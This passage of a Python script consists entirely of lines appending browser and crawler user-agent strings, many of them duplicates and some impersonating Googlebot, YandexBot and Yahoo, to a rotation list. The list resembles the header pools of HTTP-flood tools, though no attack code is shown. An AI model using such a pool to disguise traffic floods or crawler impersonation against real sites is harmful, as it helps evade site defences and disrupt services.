  411.     headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)')
  412.     headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)')
  413.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  414.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  415.     headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)')
  416.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
  417.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
  418.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
  419.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  420.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  421.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  422.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
  423.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))')
  424.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  425.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51')
  426.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  427.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
  428.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
  429.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
  430.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
  431.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  432.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  433.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  434.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  435.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  436.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  437.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  438.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  439.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  440.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  441.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  442.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  443.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  444.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  445.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  446.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  447.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  448.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  449.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  450.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  451.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  452.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  453.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  454.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  455.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  456.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  457.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  458.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  459.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  460.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  461.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  462.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  463.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  464.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  465.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  466.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  467.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  468.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  469.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  470.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  471.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  472.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  473.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  474.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  475.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  476.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  477.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  478.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  479.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  480.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  481.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  482.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  483.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  484.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  485.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  486.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  487.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  488.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  489.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  490.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  491.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  492.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  493.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  494.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  495.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  496.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  497.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  498.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  499.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  500.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  501.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  502.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  503.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  504.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  505.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  506.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  507.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  508.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  509.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  510.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  511.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  512.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  513.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  514.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  515.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  516.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  517.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  518.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  519.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  520.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  521.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  522.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  523.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  524.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  525.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  526.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  527.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  528.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  529.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  530.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  531.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  532.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  533.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  534.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  535.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  536.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  537.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  538.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  539.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  540.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  541.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  542.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  543.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  544.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  545.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  546.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  547.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  548.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  549.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  550.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  551.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  552.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  553.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  554.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  555.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  556.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  557.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  558.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  559.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  560.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  561.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  562.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  563.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  564.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  565.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  566.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  567.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  568.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  569.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  570.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  571.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  572.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  573.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  574.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  575.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  576.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  577.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  578.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  579.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  580.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  581.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  582.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  583.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  584.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  585.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  586.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  587.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  588.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  589.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  590.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  591.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  592.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  593.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  594.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  595.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  596.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  597.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  598.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  599.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  600.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  601.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  602.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  603.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
